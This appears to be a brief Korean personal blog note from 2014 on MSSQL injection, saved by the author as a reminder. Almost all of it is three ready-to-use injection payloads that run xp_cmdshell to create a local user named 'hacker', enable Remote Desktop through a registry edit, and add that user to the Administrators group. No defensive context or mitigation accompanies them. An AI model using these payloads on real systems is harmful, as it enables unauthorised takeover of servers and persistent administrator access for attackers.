2014년 5월 26일 월요일

MSSQL Injection에서 계정 생성하여 원격접속하기.

레지스트리 수정 부분 찾기 귀찮아서 저장함.

'; exec xp_cmdshell 'net user hacker hacker /add' -- 
'; exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f' -- 

'; exec xp_cmdshell 'net localgroup Administrators hacker /add' --